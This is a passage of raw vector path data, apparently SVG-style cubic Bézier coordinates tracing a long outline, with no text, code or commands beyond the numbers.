97102.00 147366.33 97102.00 147377.00 97102.00C147377.00 97091.33 147377.00 97080.67 147377.00 97070.00C147387.67 97070.00 147398.33 97070.00 147409.00 97070.00C147409.00 97091.67 147409.00 97113.33 147409.00 97135.00C147430.67 97135.00 147452.33 97135.00 147474.00 97135.00C147484.67 97124.00 147495.33 97113.00 147506.00 97102.00C147506.00 97113.00 147506.00 97124.00 147506.00 97135.00C147516.67 97135.00 147527.33 97135.00 147538.00 97135.00C147548.67 97145.66 147559.33 97156.34 147570.00 97167.00C147570.00 97156.33 147570.00 97145.67 147570.00 97135.00C147580.67 97145.66 147591.33 97156.34 147602.00 97167.00C147613.00 97145.33 147624.00 97123.67 147635.00 97102.00C147656.33 97102.00 147677.67 97102.00 147699.00 97102.00C147699.00 97091.33 147699.00 97080.67 147699.00 97070.00C147741.67 97070.00 147784.33 97070.00 147827.00 97070.00C147816.33 97070.00 147805.67 97070.00 147795.00 97070.00C147816.67 97080.66 147838.33 97091.34 147860.00 97102.00C147860.00 97113.00 147860.00 97124.00 147860.00 97135.00C147870.67 97124.00 147881.33 97113.00 147892.00 97102.00C147902.67 97102.00 147913.33 97102.00 147924.00 97102.00C147934.67 97123.66 147945.33 97145.34 147956.00 97167.00C147966.67 97167.00 147977.33 97167.00 147988.00 97167.00C147988.00 97188.33 147988.00 97209.67 147988.00 97231.00C147988.00 97209.67 147988.00 97188.33 147988.00 97167.00C147998.67 97167.00 148009.33 97167.00 148020.00 97167.00C148031.00 97188.33 148042.00 97209.67 148053.00 97231.00C148063.67 97220.34 148074.33 97209.66 148085.00 97199.00C148095.67 97209.66 148106.33 97220.34 148117.00 97231.00C148117.00 97220.33 148117.00 97209.67 148117.00 97199.00C148127.67 97199.00 148138.33 97199.00 148149.00 97199.00C148159.67 97209.66 148170.33 97220.34 148181.00 97231.00C148181.00 97220.33 148181.00 97209.67 148181.00 97199.00C148191.67 97209.66 148202.33 97220.34 148213.00 97231.00C148213.00 97220.33 148213.00 97209.67 148213.00 97199.00C148223.67 97199.00 148234.33 97199.00 148245.00 97199.00C148256.00 97209.67 148267.00 97220.33 148278.00 97231.00C148278.00 97220.33 148278.00 97209.67 148278.00 97199.00C148278.00 97220.33 148278.00 97241.67 148278.00 97263.00C148299.33 97263.00 148320.67 97263.00 148342.00 97263.00C148352.67 97273.66 148363.33 97284.34 148374.00 97295.00C148374.00 97284.33 148374.00 97273.67 148374.00 97263.00C148384.67 97273.66 148395.33 97284.34 148406.00 97295.00C148427.67 97284.34 148449.33 97273.66 148471.00 97263.00C148471.00 97273.67 148471.00 97284.33 148471.00 97295.00C148460.00 97295.00 148449.00 97295.00 148438.00 97295.00C148449.00 97305.67 148460.00 97316.33 148471.00 97327.00C148481.67 97316.34 148492.33 97305.66 148503.00 97295.00C148503.00 97305.67 148503.00 97316.33 148503.00 97327.00C148513.67 97305.67 148524.33 97284.33 148535.00 97263.00C148556.33 97273.67 148577.67 97284.33 148599.00 97295.00C148609.67 97295.00 148620.33 97295.00 148631.00 97295.00C148620.33 97305.66 148609.67 97316.34 148599.00 97327.00C148609.67 97327.00 148620.33 97327.00 148631.00 97327.00C148631.00 97338.00 148631.00 97349.00 148631.00 97360.00C148641.67 97349.00 148652.33 97338.00 148663.00 97327.00C148674.00 97348.67 148685.00 97370.33 148696.00 97392.00C148717.33 97392.00 148738.67 97392.00 148760.00 97392.00C148770.67 97402.66 148781.33 97413.34 148792.00 97424.00C148760.00 97467.00 148728.00 97510.00 148696.00 97553.00C148696.00 97563.67 148696.00 97574.33 148696.00 97585.00C148674.33 97606.33 148652.67 97627.67 148631.00 97649.00C148608.56 97727.01 148587.06 97805.31 148563.99 97883.13C148554.33 97912.43 148544.66 97941.71 148535.00 97971.00C148524.31 97981.86 148513.28 97992.38 148502.80 98003.44C148459.87 98099.63 148416.93 98195.81 148374.00 98292.00C148363.45 98357.17 148351.90 98422.20 148341.98 98487.45C148341.94 98497.45 148342.18 98507.46 148341.85 98517.46C148331.25 98549.64 148320.62 98581.82 148310.00 98614.00C148310.00 98635.33 148310.00 98656.67 148310.00 98678.00C148320.67 98667.34 148331.33 98656.66 148342.00 98646.00C148342.00 98678.00 148342.00 98710.00 148342.00 98742.00C148352.67 98742.00 148363.33 98742.00 148374.00 98742.00C148374.00 98763.67 148374.00 98785.33 148374.00 98807.00C148352.67 98817.67 148331.33 98828.33 148310.00 98839.00C148331.33 98849.67 148352.67 98860.33 148374.00 98871.00C148352.67 98871.00 148331.33 98871.00 148310.00 98871.00C148320.67 98871.00 148331.33 98871.00 148342.00 98871.00C148331.33 98881.66 148320.67 98892.34 148310.00 98903.00C148320.67 98903.00 148331.33 98903.00 148342.00 98903.00C148331.33 98913.66 148320.67 98924.34 148310.00 98935.00C148320.67 98945.66 148331.33 98956.34 148342.00 98967.00C148342.00 98956.33 148342.00 98945.67 148342.00 98935.00C148352.67 98935.00 148363.33 98935.00 148374.00 98935.00C148374.00 98956.33 148374.00 98977.67 148374.00 98999.00C148384.67 98999.00 148395.33 98999.00 148406.00 98999.00C148416.67 99010.00 148427.33 99021.00 148438.00 99032.00C148459.82 99032.10 148481.64 99031.80 148503.46 99032.15C148567.64 99053.44 148631.82 99074.72 148696.00 99096.00C148728.00 99096.00 148760.00 99096.00 148792.00 99096.00C148802.67 99106.66 148813.33 99117.34 148824.00 99128.00C148845.67 99128.00 148867.33 99128.00 148889.00 99128.00C148899.67 99138.66 148910.33 99149.34 148921.00 99160.00C148963.67 99160.00 149006.33 99160.00 149049.00 99160.00C149070.67 99181.66 149092.33 99203.34 149114.00 99225.00C149114.00 99235.67 149114.00 99246.33 149114.00 99257.00C149103.00 99267.67 149092.00 99278.33 149081.00 99289.00C149081.00 99299.67 149081.00 99310.33 149081.00 99321.00C149102.67 99321.00 149124.33 99321.00 149146.00 99321.00C149156.67 99310.34 149167.33 99299.66 149178.00 99289.00C149199.33 99289.00 149220.67 99289.00 149242.00 99289.00C149242.00 99299.67 149242.00 99310.33 149242.00 99321.00C149263.67 99321.00 149285.33 99321.00 149307.00 99321.00C149328.33 99342.34 149349.67 99363.66 149371.00 99385.00C149424.67 99396.00 149478.33 99407.00 149532.00 99418.00C149553.33 99428.67 149574.67 99439.33 149596.00 99450.00C149606.81 99449.85 149617.63 99450.29 149628.43 99449.78C149649.62 99439.19 149670.81 99428.60 149692.00 99418.00C149713.67 99418.00 149735.33 99418.00 149757.00 99418.00C149767.67 99439.33 149778.33 99460.67 149789.00 99482.00C149842.67 99514.00 149896.33 99546.00 149950.00 99578.00C149960.67 99588.66 149971.33 99599.34 149982.00 99610.00C149971.33 99610.00 149960.67 99610.00 149950.00 99610.00C149950.00 99631.67 149950.00 99653.33 149950.00 99675.00C149960.67 99696.33 149971.33 99717.67 149982.00 99739.00C149992.67 99739.00 150003.33 99739.00 150014.00 99739.00C150024.67 99717.67 150035.33 99696.33 150046.00 99675.00C150056.67 99685.66 150067.33 99696.34 150078.00 99707.00C150078.00 99685.67 150078.00 99664.33 150078.00 99643.00C150099.67 99643.00 150121.33 99643.00 150143.00 99643.00C150153.67 99632.00 150164.33 99621.00 150175.00 99610.00C150207.00 99610.00 150239.00 99610.00 150271.00 99610.00C150271.00 99599.33 150271.00 99588.67 150271.00 99578.00C150249.67 99556.66 150228.33 99535.34 150207.00 99514.00C150217.67 99503.34 150228.33 99492.66 150239.00 99482.00C150260.33 99482.00 150281.67 99482.00 150303.00 99482.00C150313.67 99471.34 150324.33 99460.66 150335.00 99450.00C150324.33 99428.34 150313.67 99406.66 150303.00 99385.00C150313.67 99374.34 150324.33 99363.66 150335.00 99353.00C150356.67 99353.00 150378.33 99353.00 150400.00 99353.00C150400.00 99342.33 150400.00 99331.67 150400.00 99321.00C150410.67 99310.34 150421.33 99299.66 150432.00 99289.00C150442.67 99289.00 150453.33 99289.00 150464.00 99289.00C150474.67 99278.34 150485.33 99267.66 150496.00 99257.00C150506.67 99267.66 150517.33 99278.34 150528.00 99289.00C150562.02 99267.00 150595.25 99243.71 150629.81 99222.56C150670.87 99201.71 150711.93 99180.85 150753.00 99160.00C150785.33 99160.00 150817.67 99160.00 150850.00 99160.00C150882.00 99128.00 150914.00 99096.00 150946.00 99064.00C150956.81 99063.85 150967.63 99064.29 150978.43 99063.79C150999.95 99053.18 151021.48 99042.60 151043.00 99032.00C151053.67 99042.66 151064.33 99053.34 151075.00 99064.00C151096.33 99064.00 151117.67 99064.00 151139.00 99064.00C151149.67 99053.34 151160.33 99042.66 151171.00 99032.00C151171.00 99021.00 151171.00 99010.00 151171.00 98999.00C151246.84 98988.44 151322.57 98976.98 151398.48 98967.00C151440.65 98967.00 151482.83 98967.00 151525.00 98967.00C151535.67 98956.34 151546.33 98945.66 151557.00 98935.00C151567.81 98935.15 151578.63 98934.71 151589.43 98935.21C151610.95 98945.82 151632.48 98956.40 151654.00 98967.00C151654.00 98956.33 151654.00 98945.67 151654.00 98935.00C151696.67 98956.33 151739.33 98977.67 151782.00 98999.00C151814.33 98999.00 151846.67 98999.00 151879.00 98999.00C151900.33 99020.67 151921.67 99042.33 151943.00 99064.00C151953.67 99064.00 151964.33 99064.00 151975.00 99064.00C151975.00 99053.33 151975.00 99042.67 151975.00 99032.00C151986.62 99042.89 151996.88 99055.41 152009.43 99065.20C152030.29 99075.47 152051.14 99085.73 152072.00 99096.00C152082.67 99117.33 152093.33 99138.67 152104.00 99160.00C152114.67 99149.34 152125.33 99138.66 152136.00 99128.00C152146.67 99128.00 152157.33 99128.00 152168.00 99128.00C152178.67 99106.67 152189.33 99085.33 152200.00 99064.00C152210.67 99085.33 152221.33 99106.67 152232.00 99128.00C152243.00 99128.00 152254.00 99128.00 152265.00 99128.00C152286.33 99117.33 152307.67 99106.67 152329.00 99096.00C152339.67 99096.00 152350.33 99096.00 152361.00 99096.00C152361.00 99106.67 152361.00 99117.33 152361.00 99128.00C152393.33 99149.34 152425.67 99170.66 152458.00 99192.00C152468.67 99181.34 152479.33 99170.66 152490.00 99160.00C152522.00 99170.67 152554.00 99181.33 152586.00 99192.00C152596.67 99181.34 152607.33 99170.66 152618.00 99160.00C152650.33 99181.67 152682.67 99203.33 152715.00 99225.00C152736.33 99225.00 152757.67 99225.00 152779.00 99225.00C152789.67 99235.66 152800.33 99246.34 152811.00 99257.00C152821.67 99289.00 152832.33 99321.00 152843.00 99353.00C152843.00 99363.67 152843.00 99374.33 152843.00 99385.00C152854.00 99385.00 152865.00 99385.00 152876.00 99385.00C152886.67 99396.00 152897.33 99407.00 152908.00 99418.00C152908.00 99407.00 152908.00 99396.00 152908.00 99385.00C152918.67 99417.33 152929.33 99449.67 152940.00 99482.00C152950.67 99482.00 152961.33 99482.00 152972.00 99482.00C152972.00 99471.33 152972.00 99460.67 152972.00 99450.00C152993.33 99471.34 153014.67 99492.66 153036.00 99514.00C153046.67 99514.00 153057.33 99514.00 153068.00 99514.00C153079.00 99503.33 153090.00 99492.67 153101.00 99482.00C153111.67 99492.66 153122.33 99503.34 153133.00 99514.00C153122.33 99514.00 153111.67 99514.00 153101.00 99514.00C153101.00 99524.67 153101.00 99535.33 153101.00 99546.00C153122.33 99556.67 153143.67 99567.33 153165.00 99578.00C153175.67 99599.66 153186.33 99621.34 153197.00 99643.00C153218.33 99643.00 153239.67 99643.00 153261.00 99643.00C153261.00 99653.67 153261.00 99664.33 153261.00 99675.00C153276.26 99689.74 153290.12 99706.16 153307.86 99718.08C153346.03 99746.49 153384.26 99774.82 153422.34 99803.35C153443.56 99824.90 153464.78 99846.45 153486.00 99868.00C153539.67 99878.66 153593.33 99889.34 153647.00 99900.00C153657.67 99921.33 153668.33 99942.67 153679.00 99964.00C153700.67 99985.33 153722.33 100006.67 153744.00 100028.00C153765.33 100039.00 153786.67 100050.00 153808.00 100061.00C153808.00 100071.67 153808.00 100082.33 153808.00 100093.00C153829.33 100082.33 153850.67 100071.67 153872.00 100061.00C153861.33 100061.00 153850.67 100061.00 153840.00 100061.00C153861.33 100061.00 153882.67 100061.00 153904.00 100061.00C153904.00 100071.67 153904.00 100082.33 153904.00 100093.00C153915.00 100093.00 153926.00 100093.00 153937.00 100093.00C153926.00 100103.67 153915.00 100114.33 153904.00 100125.00C153925.67 100135.67 153947.33 100146.33 153969.00 100157.00C153979.67 100167.67 153990.33 100178.33 154001.00 100189.00C154011.67 100178.33 154022.33 100167.67 154033.00 100157.00C154054.33 100178.33 154075.67 100199.67 154097.00 100221.00C154097.00 100210.33 154097.00 100199.67 154097.00 100189.00C154107.67 100210.33 154118.33 100231.67 154129.00 100253.00C154140.00 100253.00 154151.00 100253.00 154162.00 100253.00C154151.00 100253.00 154140.00 100253.00 154129.00 100253.00C154161.43 100274.81 154193.99 100296.41 154226.34 100318.34C154247.56 100339.56 154268.78 100360.78 154290.00 100382.00C154300.82 100360.57 154311.29 100338.97 154322.34 100317.66C154343.89 100296.11 154365.45 100274.55 154387.00 100253.00C154408.43 100264.15 154430.03 100274.97 154451.34 100286.34C154472.63 100307.71 154494.09 100328.92 154515.27 100350.40C154536.85 100382.26 154558.42 100414.13 154580.00 100446.00C154590.82 100446.11 154601.64 100445.79 154612.46 100446.16C154644.31 100457.10 154676.15 100468.05 154708.00 100479.00C154708.00 100500.33 154708.00 100521.67 154708.00 100543.00C154740.33 100543.00 154772.67 100543.00 154805.00 100543.00C154837.00 100564.33 154869.00 100585.67 154901.00 100607.00C154933.33 100650.00 154965.67 100693.00 154998.00 100736.00C155051.33 100736.00 155104.67 100736.00 155158.00 100736.00C155157.62 100758.14 155158.78 100780.38 155157.38 100802.47C155146.94 100844.65 155136.47 100886.82 155126.00 100929.00C155169.00 100939.67 155212.00 100950.33 155255.00 100961.00C155287.00 100982.33 155319.00 101003.67 155351.00 101025.00C155383.33 101014.33 155415.67 101003.67 155448.00 100993.00C155461.65 101007.69 155478.14 101020.11 155488.36 101037.67C155506.91 101065.77 155525.45 101093.89 155544.00 101122.00C155576.33 101089.67 155608.67 101057.33 155641.00 101025.00C155651.67 101025.00 155662.33 101025.00 155673.00 101025.00C155683.82 101046.43 155694.30 101068.03 155705.34 101089.35C155715.89 101100.23 155726.45 101111.12 155737.00 101122.00C155780.00 101132.67 155823.00 101143.33 155866.00 101154.00C155876.67 101175.33 155887.33 101196.67 155898.00 101218.00C155908.67 101207.33 155919.33 101196.67 155930.00 101186.00C155951.33 101207.33 155972.67 101228.67 155994.00 101250.00C156015.82 101228.60 156037.47 101207.03 156059.40 101185.73C156091.27 101164.49 156123.13 101143.24 156155.00 101122.00C156176.67 101132.67 156198.33 101143.33 156220.00 101154.00C156241.33 101143.33 156262.67 101132.67 156284.00 101122.00C156294.67 101132.67 156305.33 101143.33 156316.00 101154.00C156337.33 101143.33 156358.67 101132.67 156380.00 101122.00C156380.00 101100.33 156380.00 101078.67 156380.00 101057.00C156390.67 101057.00 156401.33 101057.00 156412.00 101057.00C156423.00 101078.67 156434.00 101100.33 156445.00 101122.00C156466.33 101122.00 156487.67 101122.00 156509.00 101122.00C156509.00 101143.33 156509.00 101164.67 156509.00 101186.00C156530.33 101207.33 156551.67 101228.67 156573.00 101250.00C156594.43 101260.82 156616.03 101271.29 156637.34 101282.34C156658.89 101303.89 156680.45 101325.45 156702.00 101347.00C156712.67 101379.00 156723.33 101411.00 156734.00 101443.00C156744.67 101443.00 156755.33 101443.00 156766.00 101443.00C156766.00 101475.33 156766.00 101507.67 156766.00 101540.00C156787.33 101540.00 156808.67 101540.00 156830.00 101540.00C156853.04 101528.71 156875.45 101516.06 156898.92 101505.70C156962.96 101484.70 157026.73 101462.81 157090.96 101442.41C157143.31 101431.95 157195.65 101421.48 157248.00 101411.00C157259.00 101421.67 157270.00 101432.33 157281.00 101443.00C157302.33 101443.00 157323.67 101443.00 157345.00 101443.00C157387.67 101464.33 157430.33 101485.67 157473.00 101507.00C157505.33 101496.33 157537.67 101485.67 157570.00 101475.00C157570.00 101453.67 157570.00 101432.33 157570.00 101411.00C157591.33 101411.00 157612.67 101411.00 157634.00 101411.00C157644.67 101400.33 157655.33 101389.67 157666.00 101379.00C157687.67 101379.00 157709.33 101379.00 157731.00 101379.00C157742.61 101368.10 157752.89 101355.63 157765.40 101345.79C157785.93 101335.52 157806.47 101325.27 157827.00 101315.00C157837.67 101282.67 157848.33 101250.33 157859.00 101218.00C157880.67 101218.00 157902.33 101218.00 157924.00 101218.00C157946.22 101207.28 157967.88 101195.27 157990.47 101185.38C158032.64 101174.92 158074.82 101164.47 158117.00 101154.00C158127.67 101143.33 158138.33 101132.67 158149.00 101122.00C158159.67 101122.00 158170.33 101122.00 158181.00 101122.00C158576.42 101484.84 158972.31 101847.17 159367.42 102210.34C159508.85 102341.85 159650.58 102473.03 159791.78 102604.77C159908.52 102721.18 160025.26 102837.59 160142.00 102954.00C160185.00 102986.33 160228.00 103018.67 160271.00 103051.00C160270.89 103069.33 160270.39 103087.81 160274.24 103105.85C160305.16 103323.39 160336.18 103540.92 160367.03 103758.48C160377.69 103929.99 160388.34 104101.49 160399.00 104273.00C160442.00 104273.00 160485.00 104273.00 160528.00 104273.00C160549.33 104262.00 160570.67 104251.00 160592.00 104240.00C160602.67 104240.00 160613.33 104240.00 160624.00 104240.00C160645.67 104261.67 160667.33 104283.33 160689.00 104305.00C160721.77 104293.81 160754.90 104283.58 160787.43 104271.77C160808.28 104261.16 160829.15 104250.59 160850.00 104240.00C160882.00 104240.00 160914.00 104240.00 160946.00 104240.00C160978.00 104261.67 161010.00 104283.33 161042.00 104305.00C161053.15 104305.10 161064.31 104304.79 161075.46 104305.15C161108.08 104316.28 161141.03 104326.48 161173.42 104338.22C161215.51 104359.36 161257.71 104380.27 161300.00 104401.00C161310.67 104390.33 161321.33 104379.67 161332.00 104369.00C161342.67 104337.00 161353.33 104305.00 161364.00 104273.00C161378.96 104272.53 161394.35 104274.78 161408.79 104269.73C161447.53 104259.82 161486.26 104249.91 161525.00 104240.00C161557.00 104208.00 161589.00 104176.00 161621.00 104144.00C161653.33 104154.67 161685.67 104165.33 161718.00 104176.00C161750.00 104154.67 161782.00 104133.33 161814.00 104112.00C161857.00 104112.00 161900.00 104112.00 161943.00 104112.00C161975.00 104079.67 162007.00 104047.33 162039.00 104015.00C162049.67 104015.00 162060.33 104015.00 162071.00 104015.00C162071.00 103983.00 162071.00 103951.00 162071.00 103919.00C162092.92 103897.92 162114.59 103876.60 162136.00 103855.00C162136.00 103833.33 162136.00 103811.67 162136.00 103790.00C162157.33 103811.67 162178.67 103833.33 162200.00 103855.00C162264.33 103855.00 162328.67 103855.00 162393.00 103855.00C162403.67 103908.33 162414.33 103961.67 162425.00 104015.00C162457.16 104014.92 162489.31 104015.16 162521.47 104014.88C162564.31 104004.26 162607.16 103993.63 162650.00 103983.00C162660.67 103972.33 162671.33 103961.67 162682.00 103951.00C162692.67 103961.67 162703.33 103972.33 162714.00 103983.00C162725.00 103961.67 162736.00 103940.33 162747.00 103919.00C162757.67 103919.00 162768.33 103919.00 162779.00 103919.00C162779.00 103876.00 162779.00 103833.00 162779.00 103790.00C162800.33 103790.00 162821.67 103790.00 162843.00 103790.00C162843.00 103800.67 162843.00 103811.33 162843.00 103822.00C162886.00 103843.67 162929.00 103865.33 162972.00 103887.00C162982.67 103908.33 162993.33 103929.67 163004.00 103951.00C162993.33 103972.33 162982.67 103993.67 162972.00 104015.00C162982.67 104036.67 162993.33 104058.33 163004.00 104080.00C163025.33 104090.67 163046.67 104101.33 163068.00 104112.00C163100.33 104101.33 163132.67 104090.67 163165.00 104080.00C163175.67 104069.33 163186.33 104058.67 163197.00 104048.00C163207.67 104048.00 163218.33 104048.00 163229.00 104048.00C163218.33 104026.33 163207.67 104004.67 163197.00 103983.00C163207.67 103961.67 163218.33 103940.33 163229.00 103919.00C163250.33 103919.00 163271.67 103919.00 163293.00 103919.00C163314.33 103908.33 163335.67 103897.67 163357.00 103887.00C163368.00 103887.00 163379.00 103887.00 163390.00 103887.00C163390.00 103897.67 163390.00 103908.33 163390.00 103919.00C163400.67 103919.00 163411.33 103919.00 163422.00 103919.00C163443.33 103951.00 163464.67 103983.00 163486.00 104015.00C163486.00 104026.00 163486.00 104037.00 163486.00 104048.00C163518.33 104058.67 163550.67 104069.33 163583.00 104080.00C163604.33 104122.67 163625.67 104165.33 163647.00 104208.00C163657.67 104208.00 163668.33 104208.00 163679.00 104208.00C163689.67 104186.67 163700.33 104165.33 163711.00 104144.00C163721.67 104144.00 163732.33 104144.00 163743.00 104144.00C163764.67 104176.00 163786.33 104208.00 163808.00 104240.00C163818.67 104240.00 163829.33 104240.00 163840.00 104240.00C163850.67 104251.00 163861.33 104262.00 163872.00 104273.00C163872.00 104283.67 163872.00 104294.33 163872.00 104305.00C163861.33 104315.67 163850.67 104326.33 163840.00 104337.00C163861.33 104347.67 163882.67 104358.33 163904.00 104369.00C163904.00 104379.67 163904.00 104390.33 163904.00 104401.00C163947.00 104411.67 163990.00 104422.33 164033.00 104433.00C164022.33 104454.67 164011.67 104476.33 164001.00 104498.00C164011.67 104519.33 164022.33 104540.67 164033.00 104562.00C164054.33 104562.00 164075.67 104562.00 164097.00 104562.00C164118.33 104551.33 164139.67 104540.67 164161.00 104530.00C164193.33 104530.00 164225.67 104530.00 164258.00 104530.00C164258.00 104508.67 164258.00 104487.33 164258.00 104466.00C164268.67 104444.33 164279.33 104422.67 164290.00 104401.00C164311.33 104390.33 164332.67 104379.67 164354.00 104369.00C164375.41 104390.60 164397.08 104411.92 164419.00 104433.00C164432.65 104418.34 164449.05 104405.90 164459.36 104388.45C164477.90 104360.63 164496.46 104332.82 164515.00 104305.00C164525.67 104315.67 164536.33 104326.33 164547.00 104337.00C164557.67 104337.00 164568.33 104337.00 164579.00 104337.00C164611.33 104369.00 164643.67 104401.00 164676.00 104433.00C164686.67 104476.00 164697.33 104519.00 164708.00 104562.00C164718.67 104572.67 164729.33 104583.33 164740.00 104594.00C164740.00 104583.33 164740.00 104572.67 164740.00 104562.00C164761.33 104583.33 164782.67 104604.67 164804.00 104626.00C164804.00 104615.33 164804.00 104604.67 164804.00 104594.00C164815.00 104604.67 164826.00 104615.33 164837.00 104626.00C164858.33 104626.00 164879.67 104626.00 164901.00 104626.00C164911.67 104636.67 164922.33 104647.33 164933.00 104658.00C164944.61 104647.10 164954.89 104634.63 164967.40 104624.79C164987.93 104614.52 165008.47 104604.27 165029.00 104594.00C165040.00 104604.67 165051.00 104615.33 165062.00 104626.00C165072.67 104626.00 165083.33 104626.00 165094.00 104626.00C165104.67 104636.67 165115.33 104647.33 165126.00 104658.00C165136.67 104647.33 165147.33 104636.67 165158.00 104626.00C165211.67 104626.00 165265.33 104626.00 165319.00 104626.00C165340.33 104615.33 165361.67 104604.67 165383.00 104594.00C165393.67 104604.67 165404.33 104615.33 165415.00 104626.00C165426.00 104615.33 165437.00 104604.67 165448.00 104594.00C165469.33 104594.00 165490.67 104594.00 165512.00 104594.00C165533.33 104583.33 165554.67 104572.67 165576.00 104562.00C165586.67 104562.00 165597.33 104562.00 165608.00 104562.00C165618.67 104583.33 165629.33 104604.67 165640.00 104626.00C165640.00 104636.67 165640.00 104647.33 165640.00 104658.00C165651.00 104658.00 165662.00 104658.00 165673.00 104658.00C165673.00 104679.67 165673.00 104701.33 165673.00 104723.00C165683.67 104723.00 165694.33 104723.00 165705.00 104723.00C165705.00 104733.67 165705.00 104744.33 165705.00 104755.00C165715.67 104755.00 165726.33 104755.00 165737.00 104755.00C165737.00 104776.33 165737.00 104797.67 165737.00 104819.00C165747.67 104819.00 165758.33 104819.00 165769.00 104819.00C165769.00 104829.67 165769.00 104840.33 165769.00 104851.00C165779.67 104840.33 165790.33 104829.67 165801.00 104819.00C165833.33 104840.67 165865.67 104862.33 165898.00 104884.00C165908.67 104884.00 165919.33 104884.00 165930.00 104884.00C165930.00 104926.67 165930.00 104969.33 165930.00 105012.00C165908.33 105022.67 165886.67 105033.33 165865.00 105044.00C165876.00 105054.67 165887.00 105065.33 165898.00 105076.00C165908.67 105065.33 165919.33 105054.67 165930.00 105044.00C165930.00 105054.67 165930.00 105065.33 165930.00 105076.00C165940.67 105076.00 165951.33 105076.00 165962.00 105076.00C165962.00 105065.33 165962.00 105054.67 165962.00 105044.00C165983.33 105044.00 166004.67 105044.00 166026.00 105044.00C166036.67 105033.33 166047.33 105022.67 166058.00 105012.00C166058.00 105033.33 166058.00 105054.67 166058.00 105076.00C166069.00 105076.00 166080.00 105076.00 166091.00 105076.00C166112.33 105065.33 166133.67 105054.67 166155.00 105044.00C166165.67 105054.67 166176.33 105065.33 166187.00 105076.00C166208.33 105076.00 166229.67 105076.00 166251.00 105076.00C166251.00 105065.33 166251.00 105054.67 166251.00 105044.00C166272.67 105033.33 166294.33 105022.67 166316.00 105012.00C166316.00 105022.67 166316.00 105033.33 166316.00 105044.00C166305.00 105065.67 166294.00 105087.33 166283.00 105109.00C166294.00 105119.67 166305.00 105130.33 166316.00 105141.00C166326.67 105141.00 166337.33 105141.00 166348.00 105141.00C166358.67 105119.33 166369.33 105097.67 166380.00 105076.00C166390.67 105076.00 166401.33 105076.00 166412.00 105076.00C166401.33 105108.33 166390.67 105140.67 166380.00 105173.00C166380.00 105162.33 166380.00 105151.67 166380.00 105141.00C166380.00 105162.33 166380.00 105183.67 166380.00 105205.00C166369.33 105205.00 166358.67 105205.00 166348.00 105205.00C166348.00 105215.67 166348.00 105226.33 166348.00 105237.00C166358.67 105226.33 166369.33 105215.67 166380.00 105205.00C166390.67 105215.67 166401.33 105226.33 166412.00 105237.00C166412.00 105247.67 166412.00 105258.33 166412.00 105269.00C166422.67 105280.00 166433.33 105291.00 166444.00 105302.00C166433.33 105302.00 166422.67 105302.00 166412.00 105302.00C166412.00 105312.67 166412.00 105323.33 166412.00 105334.00C166433.33 105334.00 166454.67 105334.00 166476.00 105334.00C166487.00 105344.67 166498.00 105355.33 166509.00 105366.00C166498.00 105366.00 166487.00 105366.00 166476.00 105366.00C166487.00 105376.67 166498.00 105387.33 166509.00 105398.00C166530.33 105398.00 166551.67 105398.00 166573.00 105398.00C166562.33 105408.67 166551.67 105419.33 166541.00 105430.00C166551.67 105430.00 166562.33 105430.00 166573.00 105430.00C166573.00 105440.67 166573.00 105451.33 166573.00 105462.00C166583.67 105462.00 166594.33 105462.00 166605.00 105462.00C166605.00 105451.33 166605.00 105440.67 166605.00 105430.00C166615.67 105430.00 166626.33 105430.00 166637.00 105430.00C166647.67 105451.33 166658.33 105472.67 166669.00 105494.00C166679.67 105494.00 166690.33 105494.00 166701.00 105494.00C166701.00 105505.00 166701.00 105516.00 166701.00 105527.00C166712.00 105527.00 166723.00 105527.00 166734.00 105527.00C166734.00 105516.00 166734.00 105505.00 166734.00 105494.00C166755.33 105494.00 166776.67 105494.00 166798.00 105494.00C166798.00 105515.67 166798.00 105537.33 166798.00 105559.00C166830.00 105559.00 166862.00 105559.00 166894.00 105559.00C166894.00 105537.33 166894.00 105515.67 166894.00 105494.00C166947.67 105494.00 167001.33 105494.00 167055.00 105494.00C167065.67 105505.00 167076.33 105516.00 167087.00 105527.00C167097.67 105527.00 167108.33 105527.00 167119.00 105527.00C167108.33 105527.00 167097.67 105527.00 167087.00 105527.00C167065.67 105559.00 167044.33 105591.00 167023.00 105623.00C167023.00 105633.67 167023.00 105644.33 167023.00 105655.00C167044.33 105655.00 167065.67 105655.00 167087.00 105655.00C167119.33 105687.33 167151.67 105719.67 167184.00 105752.00C167184.00 105773.33 167184.00 105794.67 167184.00 105816.00C167205.33 105826.67 167226.67 105837.33 167248.00 105848.00C167258.67 105869.33 167269.33 105890.67 167280.00 105912.00C167280.00 105933.67 167280.00 105955.33 167280.00 105977.00C167301.67 105977.00 167323.33 105977.00 167345.00 105977.00C167345.00 105998.33 167345.00 106019.67 167345.00 106041.00C167355.67 106051.67 167366.33 106062.33 167377.00 106073.00C167377.00 106094.67 167377.00 106116.33 167377.00 106138.00C167344.67 106159.33 167312.33 106180.67 167280.00 106202.00C167280.00 106212.67 167280.00 106223.33 167280.00 106234.00C167269.33 106234.00 167258.67 106234.00 167248.00 106234.00C167237.33 106223.33 167226.67 106212.67 167216.00 106202.00C167205.33 106202.00 167194.67 106202.00 167184.00 106202.00C167194.67 106223.33 167205.33 106244.67 167216.00 106266.00C167226.67 106266.00 167237.33 106266.00 167248.00 106266.00C167258.67 106287.33 167269.33 106308.67 167280.00 106330.00C167269.33 106373.00 167258.67 106416.00 167248.00 106459.00C167226.67 106469.67 167205.33 106480.33 167184.00 106491.00C167184.00 106501.67 167184.00 106512.33 167184.00 106523.00C167162.33 106533.67 167140.67 106544.33 167119.00 106555.00C167119.00 106566.00 167119.00 106577.00 167119.00 106588.00C167087.00 106630.67 167055.00 106673.33 167023.00 106716.00C167033.67 106737.67 167044.33 106759.33 167055.00 106781.00C167065.67 106791.67 167076.33 106802.33 167087.00 106813.00C167097.67 106845.00 167108.33 106877.00 167119.00 106909.00C167087.00 106909.00 167055.00 106909.00 167023.00 106909.00C167011.40 106919.91 167001.08 106932.35 166988.60 106942.23C166968.07 106952.83 166947.53 106963.41 166927.00 106974.00C166916.00 107016.67 166905.00 107059.33 166894.00 107102.00C166883.33 107102.00 166872.67 107102.00 166862.00 107102.00C166851.33 107091.33 166840.67 107080.67 166830.00 107070.00C166819.33 107070.00 166808.67 107070.00 166798.00 107070.00C166798.00 107059.33 166798.00 107048.67 166798.00 107038.00C166787.33 107038.00 166776.67 107038.00 166766.00 107038.00C166755.33 107048.67 166744.67 107059.33 166734.00 107070.00C166734.00 107091.33 166734.00 107112.67 166734.00 107134.00C166712.33 107144.67 166690.67 107155.33 166669.00 107166.00C166669.00 107177.00 166669.00 107188.00 166669.00 107199.00C166647.67 107220.33 166626.33 107241.67 166605.00 107263.00C166582.94 